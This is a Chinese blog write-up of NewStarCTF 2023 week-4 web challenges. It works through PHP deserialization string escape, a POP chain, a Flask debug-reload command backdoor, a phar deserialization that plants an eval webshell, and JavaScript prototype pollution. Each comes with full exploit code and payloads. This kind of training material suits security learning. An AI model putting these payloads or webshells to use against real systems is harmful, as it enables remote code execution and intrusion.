从第三周第四周题目难度就上来了 学到蛮多的还


[NewStarCTF 2023 公开赛道]WEEK4–web方向复现记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

他把bad换成good

很明显三个字符变成了四个字符 想到字符串逃逸

(其实题目也有提示)

思考一下 一个bad变成good增加一个字符

在反序列化的时候php会根据s所指定的字符长度去读取后边的字符,由于在序列化操作后又使用了str_replace()函数进行字符串替换,这就可能会改变字符串的长度,比如上面将bad替换为good,每替换掉一个bad,字符串长度明显就增加了1,而由于序列化之后s的值没变,但是进行了内容替换,改变了字符串长度,那么反序列化读取时,就并不能将原本的内容读取完全。

而后面没有被读到的内容,也就是逃逸出来的字符串,就会被当做当前类的属性被继续执行。

执行的是cmd 所以我们想要修改cmd的内容

也就是说要改

“;s:3:”cmd”;s:6:”whoami”;}

这里

image-20250922194601770

1
O:7:"GetFlag":2:{s:3:"key";s:1:"1";s:3:"cmd";s:6:"whoami";}

想让他执行的是

1
"cmd";s:4:"ls /";}

一共24个字符

所以需要24个bad

image-20250922195048122

cat /flag

一样的加五个bad

1
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

image-20250922195144299

More Fast

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

好长的一个反序列化我说。。

来看提示

image-20250922200039717

早一点触发destruct

就是gc回收的那个机制提前触发

最终的目的是触发pwn类里的那个phpinfo()

image-20250927195446812

链子分析如图

所以开头是要去触发Start->__destruct()

看到代码最后主动抛出了一个异常

当代码执行到这一行时,会立即终止当前的程序流程,并抛出一个 Exception 类型的异常。

停止所有后续执行

只有让目标对象在异常抛出就被销毁(触发 __destruct),才能执行后续的魔术方法链

这其实就是gc的那个解决逻辑

好的别管了我们先来正常构造一下链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {//对象被销毁
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){//对象被当作函数调用时
$this->obj->evil();
}
public function evil() {
phpinfo();//最后要执行的
}
}

class Reverse{
public $func;
public function __get($var) {//访问不存在的
($this->func)();
}
}

class Web{
public $func='system';
public $var='ls /';
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {//被当作字符串
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}

$s=new Start;
$p=new Pwn;
$r=new Reverse;
$c=new Crypto;


$s->errMsg=$c;
$c->obj=$r;
$r->func=$p;
$p->obj=new Web();
echo serialize($s);
>?

然后这里会抛出异常

用第二种数组对象为null来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {//对象被销毁
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){//对象被当作函数调用时
$this->obj->evil();
}
public function evil() {
phpinfo();//最后要执行的
}
}

class Reverse{
public $func;
public function __get($var) {//访问不存在的
($this->func)();
}
}

class Web{
public $func='system';
public $var='ls /';
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {//被当作字符串
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}
$s=new Start;
$p=new Pwn;
$r=new Reverse;
$c=new Crypto;


$s->errMsg=$c;
$c->obj=$r;
$r->func=$p;
$p->obj=new Web();

$g=array($s,0);
echo serialize($g);
?>


image-20250927204443566

记得把最后的i:1改成i:0

image-20250927205330145

1
fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}

这里有一些过滤 flag被过滤了 所以用一个*匹配来进行绕过

image-20250927205451601

midsql

这题图片太擦了

看不下去

flask disk

image-20250928134652841

这里不仅可以上传文件 还有一个pin码的检查

CTF中Python_Flask应用的一些解题方法总结 | Savant’s Blog

这篇写的非常全

这个是flask框架

Flask 框架提供了调试模式,可以通过设置 app.debug = True 或 FLASK_ENV=development 来启用。启用调试模式后,Flask 会在代码更改时自动重载应用,并且会显示详细的错误信息,包括回溯(traceback)。这些功能对开发来说非常有用,但在生产环境中开启调试模式是非常危险的,因为:

调试 PIN 码: 开启调试模式的 Flask 应用会要求输入 PIN 码以防止未授权访问控制台,但如果攻击者能够获取这个 PIN 码,他们就可能执行任意代码。
自动重载: 调试模式下的自动重载功能允许代码更改立即生效。如果攻击者能够上传修改后的代码文件(如 app.py),就可以利用这个功能执行恶意代码。

我们上传一个可执行命令的app.py即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from flask import Flask, request
import os

app = Flask(__name__)


@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass

return "1"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)


port那个500是题目提示上的

image-20250928155436510

上传之后get传cmd进去

PharOne

image-20250928161403796

题目就叫phar那还说啥了兄弟

image-20250928161435436

有个提示给了class.php

查看一下

拿到源码

1
2
3
4
5
6
7
8
9
10
 <?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);

这里试了很久

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}

@unlink($_POST['file']);
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$o=new Flag();
// 修正转义问题,使用单引号包裹命令,内部双引号只需转义双引号
$o->cmd='php -r "eval($_GET[\"a\"]);"';

$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

我一直是用的这个语句写的

后面蚁剑始终连接不上

看网上的博客使用的是这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/test1.php";
$phar = new Phar("test1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

差别在于这句

$a->cmd=”echo "<?=@eval(\$_POST[‘a’]);">/var/www/html/test1.php”;

当 PHAR 文件被反序列化,触发__destruct()等相关魔术方法执行$a->cmd时,会在服务器指定目录(/var/www/html/)下创建一个包含 PHP 一句话木马(<?=@eval($_POST['a']);?>)的文件test1.php 。后续攻击者需要通过 HTTP 请求访问这个新建的test1.php文件,并以 POST 方式提交参数a ,才能执行恶意 PHP 代码。

$o->cmd=’php -r “eval($_GET["a"]);”‘;

在 PHAR 文件反序列化触发相关魔术方法执行$o->cmd时,直接调用服务器上的 PHP 命令行解释器(php -r)来执行通过 GET 参数a传入的 PHP 代码。只要反序列化成功触发且服务器上的 PHP 命令行工具可正常使用,就能立即执行恶意代码。

第二个写法比较依赖环境 所以我们主要来看第一个(更为通用一点)

典型的没有显示反序列化触发 + unlink => phar
这里由于是exec 所以没有回显 我们通过向根目录写入webshell来rce

注意到是Linux下的 所以我们webshell要加斜杠转义

为什么需要转义?

在 Linux 的bashshell 中,双引号(")和美元符号($)是特殊字符:

双引号用于包裹字符串,但会解析内部的变量(如$var

美元符号用于标识变量,若不转义,shell 会尝试解析$_POST为系统变量(显然不存在)

然后后面我们还需要对他进行一个gzip 并修改后缀为jpg进行一个绕过

(没见过gzip这种绕过)

image-20250928173331403

然后传入test1.jpg

image-20250928173401304

回到class.php phar传进去file

image-20250928173352600

然后蚁剑去连接

1
http://8402e286-0d51-4676-9bf1-30d8fa6b2d0e.node5.buuoj.cn:81/test1.php

image-20250928173459147

根目录下查看

OtenkiBoy

依旧是一道js原型链污染

是week3中Otenkgirl的升级版 但难度差的不是一星半点哈哈

依旧是来看两个主要的js

info.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
async function getInfo(timestamp) {
// 1. 处理传入的 timestamp:若不是数字,默认用当前时间
timestamp = typeof timestamp === "number" ? timestamp : Date.now();

let minTimestamp; // 查询的“最小时间戳”:早于这个时间的数据会被过滤
try {
// 2. 优先用 CONFIG 配置的 min_public_time 生成 minTimestamp
minTimestamp = createDate(CONFIG.min_public_time).getTime();
// 校验:若 minTimestamp 不是安全整数(无效时间),抛出错误
if (!Number.isSafeInteger(minTimestamp)) throw new Error("Invalid configuration min_public_time.");
} catch (e) {
// 3. 配置出错时,用默认配置 fallback
console.warn(`\x1b[33m${e.message}\x1b[0m`);
console.warn(`Try using default value ${DEFAULT_CONFIG.min_public_time}.`);
minTimestamp = createDate(DEFAULT_CONFIG.min_public_time, {
UTC: false,
baseDate: LauchTime
}).getTime();
}

// 4. 确保查询的 timestamp 不早于 minTimestamp(过滤早期数据)
timestamp = Math.max(timestamp, minTimestamp);

// 5. 从数据库查询:timestamp >= 上述值的愿望数据
const data = await sql.all(
`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`,
[timestamp]
).catch(e => { throw e });
return data;
}

截出来了主要的这个getinfo函数

负责计算查询的最小时间戳(mintimestamp)

具体步骤拆解在代码块里

后面的post是一个接口定义

通过 router.post 定义接口,处理客户端的 POST 请求

这个时间戳和createdate函数有关 所以我们再去看一下这个函数(utils.js)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const createDate = (str, opts) => {
const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
if (typeof opts === "undefined") opts = CopiedDefaultOptions
if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
// 1. 无 format 时用默认格式;有 format 但非数组时转为数组
opts.format = opts.format || CopiedDefaultOptions.format;
if (!Array.isArray(opts.format)) opts.format = [opts.format];

// 2. 过滤无效 format:仅保留符合规则的字符串格式
opts.format = opts.format.filter(f => typeof f === "string")
.filter(f => {
// 规则1:format 必须包含至少一个时间标识符(如 yy、MM、dd 等)
if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
console.warn(`Invalid format "${f}". At least one format specifier is required.`);
return false;
}
// 规则2:标识符之间必须有分隔符(如不能是 "yyyyMMdd",需是 "yyyy-MM-dd")
if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
console.warn(`Invalid format "${f}". Delimeters are required between format specifiers.`);
return false;
}
// 规则3:不能同时包含 "yyyy" 和 "yy"(避免年份解析冲突)
if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
console.warn(`Invalid format "${f}". "yyyy" and "yy" cannot be used together.`);
return false;
}
return true;
});
opts.baseDate = new Date(opts.baseDate || Date.now());

漏洞利用点:若通过原型污染注入opts.format(如"yy19-MM-ddTHH:mm:ss.fffZ"),会篡改时间解析规则 —— 例如将"2019-07-08..."中的"20"当作yy(按规则,yy小于 100 时解析为1900+yy,即1920,最终得到更早的时间)。

可以看到createDate函数能够接受两个参数,如果没有传入opts参数,那么直接返回,没有可操作的地方,因此在gitInfo函数中,如果createDate函数的返回值没问题,那么全剧终,利用不了一点,但是如果有问题的话,就会调用catch中的代码,此时是会传入一个opts参数的,因此,第一个目标就是要让createDate函数的返回值出错。

详细来看

minTimestamp = createDate(CONFIG.min_public_time).getTime();

此时 createDate 会用默认配置(CopiedDefaultOptions)解析时间,且默认配置通常是合法的(比如 format 是标准的 "yyyy-MM-ddTHH:mm:ss.fffZ")。

只要 CONFIG.min_public_time 格式正常(比如 "2023-10-01T00:00:00.000Z"),createDate 就能生成有效的 Date 对象,getTime() 会返回正常时间戳 —— 后续逻辑按正常流程走,没有漏洞利用的机会

要触发 catch 分支,必须让 createDate 的执行结果满足以下任一条件

  1. 生成的 Date 对象是无效的(new Date(...) 结果为 Invalid Date),调用 getTime() 会返回 NaN
  2. getTime() 返回的时间戳不是 “安全整数”(!Number.isSafeInteger(minTimestamp)),直接抛出错误。

最容易通过原型污染实现的是第一种让 createDate 生成 Invalid Date

如何通过原型污染让 createDate 出错?

关键是污染 createDate 中用于解析时间的核心配置 ——baseDate

createDate 中有一行处理 baseDate 的代码

1
2
// createDate 中:baseDate 未定义时用当前时间,否则转为 Date 对象 
opts.baseDate = new Date(opts.baseDate || Date.now());

当我们通过 /submit 接口的 mergeJSON 函数,污染全局原型 Object.prototype

1
2
3
4
5
6
// 恶意 JSON 中的污染代码
"constructor": {
"prototype": {
"baseDate": "invalid-date" // 注入无效的时间字符串
}
}

这样一来,所有对象(包括 createDate 中的 opts)都会继承这个 baseDate: "invalid-date"

payload

1
2
3
4
5
6
7
8
9
10
11
{  
"contact":"a", "reason":"a",
"constructor":{
"prototype":{
"format": "yy19-MM-ddTHH:mm:ss.fffZ",
"baseDate":"aaa",
"fff": "bbb"
}
}
}

污染database和fff来绕过format模式——》

污染format模板使他可以以yy模式匹配min_public_time: “2019-07-08T16:00:00.000Z”——》

将createData返回的时间成功改为1919-07-08T16:00:00.000Z

image-20251012181711245

不行了其实我整个思路比较乱

NewStar2023 web-week4-wp - Eddie_Murphy - 博客园

贴一个别人的wp

磕磕绊绊的也算是复现完了